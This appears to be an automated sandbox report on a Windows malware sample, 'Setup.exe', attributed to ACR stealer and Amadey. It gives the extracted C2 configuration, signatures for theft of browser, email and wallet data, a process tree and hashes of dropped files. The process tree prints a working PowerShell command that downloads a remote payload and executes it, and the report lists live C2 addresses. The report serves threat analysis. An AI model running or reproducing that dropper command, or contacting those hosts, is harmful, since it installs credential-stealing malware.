Analysis

  • max time kernel
    299s
  • max time network
    288s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20251017-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20251017-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    08/11/2025, 12:30

General

  • Target
    Setup.exe
  • Size 1.7MB
  • Sample251108-ppf4psypbp
  • SHA256 9155314a52c72e0b5c43e6eb061b212b5c2f827ce61130e1675f02c6aa0bef3a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family
  • acrstealer

Attributes
  • ddrs

    crl4.digicert.com

Extracted

Family
  • amadey

Version
  • 5.70

Botnet
  • 2265ca

C2
  • http://mi.huffproofs.com

Attributes
  • install_dir

    3be1510d5b

  • install_file

    Pwvoqdmgn.exe

  • strings_key

    13416e8592239dcfe754c2affc83cb4f

  • url_paths

    /kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

  • ACR stealer,GrMsk

    ACR stealer (aka GrMsk stealer) is an infostealer written in C++.

  • Acrstealer family
  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detects unpacked ACRstealer payload 6 IoCs
  • Badlisted process makes network request 64 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 11 IoCs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:520
    • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeUpdate.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3880
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3580
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
          PID:888
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe"
          3⤵
            PID:1328
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
            3⤵
              PID:64
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe"
              3⤵
                PID:3940
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                3⤵
                  PID:2280
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                  3⤵
                    PID:1112
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                    3⤵
                      PID:3900
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
                      3⤵
                      • Badlisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1440
                    • C:\Windows\SysWOW64\rundll32.exe
                      "C:\Windows\SysWOW64\rundll32.exe"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:3244
                    • C:\Windows\SysWOW64\rundll32.exe
                      "C:\Windows\SysWOW64\rundll32.exe"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:1352
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 1352 -s 628
                        4⤵
                        • Program crash
                        PID:1960
                    • C:\Users\Admin\vz.exe
                      C:\Users\Admin\vz.exe
                      3⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:4824
                      • C:\Users\Admin\AppData\Local\Temp\is-2HPRV.tmp\vz.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-2HPRV.tmp\vz.tmp" /SL5="$60118,18906120,882176,C:\Users\Admin\vz.exe"
                        4⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:2860
                        • C:\Users\Admin\vz.exe
                          "C:\Users\Admin\vz.exe" /VERYSILENT
                          5⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:3020
                          • C:\Users\Admin\AppData\Local\Temp\is-FT57D.tmp\vz.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-FT57D.tmp\vz.tmp" /SL5="$7024C,18906120,882176,C:\Users\Admin\vz.exe" /VERYSILENT
                            6⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of FindShellTrayWindow
                            PID:1372
                            • C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe
                              "C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe" tipper
                              7⤵
                              • Adds Run key to start application
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • System Location Discovery: System Language Discovery
                              PID:4172
                              • C:\Windows\SysWOW64\rundll32.exe
                                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\help.dll",main
                                8⤵
                                • Badlisted process makes network request
                                • Loads dropped DLL
                                • System Location Discovery: System Language Discovery
                                PID:1548
                • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                  1⤵
                    PID:1356
                  • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                    1⤵
                      PID:4992
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1352 -ip 1352
                      1⤵
                        PID:3948
                      • C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe
                        "C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe" "C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\tipper"
                        1⤵
                        • Adds Run key to start application
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • System Location Discovery: System Language Discovery
                        PID:2428
                        • C:\Windows\SysWOW64\rundll32.exe
                          C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\help.dll",main
                          2⤵
                          • Badlisted process makes network request
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:784

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            178976D.tmp

                            • Path C:\Users\Admin\AppData\Local\Temp\178976D.tmp
                            • Size 1.2MB
                            • SHA256 ba8012be738493eb69c5761ec4dc7bbbb33a55c9b406679b2fec41144a40f74a
                            • MD5 SHA1 SHA512 SSDEEP

                            469B642.tmp

                            • Path C:\Users\Admin\AppData\Local\Temp\469B642.tmp
                            • Size 40B
                            • SHA256 9dc35a1f36bf2ce6d57c78b61a9b74e7034709ff6fd637d193ba2c798f204958
                            • MD5 SHA1 SHA512

                            __PSScriptPolicyTest_dlyjwfzi.3eb.ps1

                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dlyjwfzi.3eb.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512

                            vz.tmp

                            • Path C:\Users\Admin\AppData\Local\Temp\is-2HPRV.tmp\vz.tmp
                            • Size 3.6MB
                            • SHA256 c36d834949ecc463936800d1f100f642e2c65686a0b6d49aeac0af880f6f2000
                            • MD5 SHA1 SHA512 SSDEEP

                            MicrosoftEdgeUpdate.exe

                            • Path C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeUpdate.exe
                            • Size 201KB
                            • SHA256 f8f3ace5c3c404342251e16381132f0453514e03e9c65cf387a21cd288552200
                            • MD5 SHA1 SHA512 SSDEEP

                            endpointService.exe

                            • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe
                            • Size 93KB
                            • SHA256 51182a4dc90f0d8019031e27f9fb8f8f2b8d73cd0c8f5ad5aac194c9f3f5c1e1
                            • MD5 SHA1 SHA512 SSDEEP

                            help.dll

                            • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\help.dll
                            • Size 4.2MB
                            • SHA256 df318a3137b6aacae44140f3884d0907e62b98439af6174b2e987b1186246799
                            • MD5 SHA1 SHA512 SSDEEP

                            python38._pth

                            • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\python38._pth
                            • Size 79B
                            • SHA256 df1f2a305dea16f99a05fffe0cb5fabf453aae7ab8924f7bd6cc440719e2e966
                            • MD5 SHA1 SHA512

                            python38.dll

                            • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\python38.dll
                            • Size 3.7MB
                            • SHA256 c4220a975f093d52702f93f39cc0e7b56f9057f8b6af26c2a0b63f5a555d0e31
                            • MD5 SHA1 SHA512 SSDEEP

                            python38.zip

                            • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\python38.zip
                            • Size 2.3MB
                            • SHA256 962f8d05631d598fe0e0ca726a2be700dd460541813177527399fb12534fc0e9
                            • MD5 SHA1 SHA512 SSDEEP

                            resources.pak

                            • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\resources.pak
                            • Size 11.4MB
                            • SHA256 e69b52edc502a92640f23d3a10df00b97aea3c6ac5724e6877d633538b94798c
                            • MD5 SHA1 SHA512 SSDEEP

                            tipper

                            • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\tipper
                            • Size 3KB
                            • SHA256 1f1dee824d00e2c726dc2dfd1c767bfdc1efd7ad3308caf2da9b1200e7142b39
                            • MD5 SHA1 SHA512

                            vcruntime140.dll

                            • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\vcruntime140.dll
                            • Size 78KB
                            • SHA256 8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825
                            • MD5 SHA1 SHA512 SSDEEP

                            vz.exe

                            • Path C:\Users\Admin\vz.exe
                            • Size 21.7MB
                            • SHA256 354a72b6274ad1d82ba534bd4a1d6e76cb1e09dd59b28ab22e2b6ec3461468fb
                            • MD5 SHA1 SHA512 SSDEEP

                            memory/64-21-0x0000022A289E0000-0x0000022A289E2000-memory.dmp

                            memory/520-4-0x00007FF94FD70000-0x00007FF94FE6F000-memory.dmp

                            memory/520-13-0x00007FF94FD8D000-0x00007FF94FD8E000-memory.dmp

                            memory/520-3-0x00007FF94FD8D000-0x00007FF94FD8E000-memory.dmp

                            memory/520-14-0x00007FF94FD70000-0x00007FF94FE6F000-memory.dmp

                            memory/520-0-0x00007FF94FD70000-0x00007FF94FE6F000-memory.dmp

                            memory/520-6-0x00007FF94FD70000-0x00007FF94FE6F000-memory.dmp

                            memory/784-170-0x0000000074EB0000-0x0000000074EC1000-memory.dmp

                            memory/784-159-0x00000000036F0000-0x0000000003C23000-memory.dmp

                            memory/888-19-0x0000022689390000-0x0000022689392000-memory.dmp

                            memory/1112-25-0x000001D2247A0000-0x000001D2247A2000-memory.dmp

                            memory/1328-20-0x000002D01F970000-0x000002D01F972000-memory.dmp

                            memory/1352-46-0x00000000017D0000-0x00000000017D3000-memory.dmp

                            memory/1352-51-0x0000000003D10000-0x0000000004320000-memory.dmp

                            memory/1352-53-0x0000000003D10000-0x0000000004320000-memory.dmp

                            memory/1352-52-0x0000000003D10000-0x0000000004320000-memory.dmp

                            memory/1352-47-0x0000000003D10000-0x0000000004320000-memory.dmp

                            memory/1372-131-0x0000000000040000-0x00000000003EE000-memory.dmp

                            memory/1372-79-0x0000000000040000-0x00000000003EE000-memory.dmp

                            memory/1372-140-0x0000000000040000-0x00000000003EE000-memory.dmp

                            memory/1440-83-0x000000000CBF0000-0x000000000CC12000-memory.dmp

                            memory/1440-29-0x0000000004D50000-0x000000000541A000-memory.dmp

                            memory/1440-84-0x000000000D2B0000-0x000000000D856000-memory.dmp

                            memory/1440-54-0x0000000005C80000-0x0000000005C9E000-memory.dmp

                            memory/1440-55-0x0000000005D30000-0x0000000005D7C000-memory.dmp

                            memory/1440-66-0x0000000007360000-0x00000000079DA000-memory.dmp

                            memory/1440-35-0x0000000005460000-0x0000000005482000-memory.dmp

                            memory/1440-36-0x0000000005600000-0x0000000005666000-memory.dmp

                            memory/1440-67-0x0000000006180000-0x000000000619A000-memory.dmp

                            memory/1440-28-0x0000000004640000-0x0000000004676000-memory.dmp

                            memory/1440-45-0x00000000056E0000-0x0000000005A37000-memory.dmp

                            memory/1440-82-0x000000000CC60000-0x000000000CCF6000-memory.dmp

                            memory/1440-80-0x0000000074330000-0x0000000074AE1000-memory.dmp

                            memory/1440-37-0x0000000005670000-0x00000000056D6000-memory.dmp

                            memory/1548-169-0x0000000074EB0000-0x0000000074EC1000-memory.dmp

                            memory/1548-145-0x0000000003FD0000-0x0000000004503000-memory.dmp

                            memory/1548-148-0x0000000003FD0000-0x0000000004503000-memory.dmp

                            memory/1548-197-0x0000000074EB0000-0x0000000074EC1000-memory.dmp

                            memory/2280-23-0x0000026065C80000-0x0000026065C82000-memory.dmp

                            memory/2860-71-0x0000000000610000-0x00000000009BE000-memory.dmp

                            memory/3020-69-0x0000000000730000-0x0000000000817000-memory.dmp

                            memory/3020-78-0x0000000000730000-0x0000000000817000-memory.dmp

                            memory/3020-143-0x0000000000730000-0x0000000000817000-memory.dmp

                            memory/3244-202-0x0000000000660000-0x00000000006CF000-memory.dmp

                            memory/3244-31-0x0000000000520000-0x0000000000572000-memory.dmp

                            memory/3244-30-0x0000000000510000-0x0000000000513000-memory.dmp

                            memory/3580-18-0x0000014C01250000-0x0000014C01252000-memory.dmp

                            memory/3880-77-0x0000000000400000-0x000000000043D000-memory.dmp

                            memory/3880-17-0x0000000000400000-0x000000000043D000-memory.dmp

                            memory/3880-15-0x0000000000400000-0x000000000043D000-memory.dmp

                            memory/3880-12-0x00007FF95F850000-0x00007FF95FA48000-memory.dmp

                            memory/3880-27-0x0000000000400000-0x000000000043D000-memory.dmp

                            memory/3880-8-0x0000000000400000-0x000000000043D000-memory.dmp

                            memory/3880-24-0x0000000000400000-0x000000000043D000-memory.dmp

                            memory/3900-26-0x00000205E1060000-0x00000205E1062000-memory.dmp

                            memory/3940-22-0x0000016816DB0000-0x0000016816DB2000-memory.dmp

                            memory/4824-73-0x0000000000730000-0x0000000000817000-memory.dmp

                            memory/4824-59-0x0000000000730000-0x0000000000817000-memory.dmp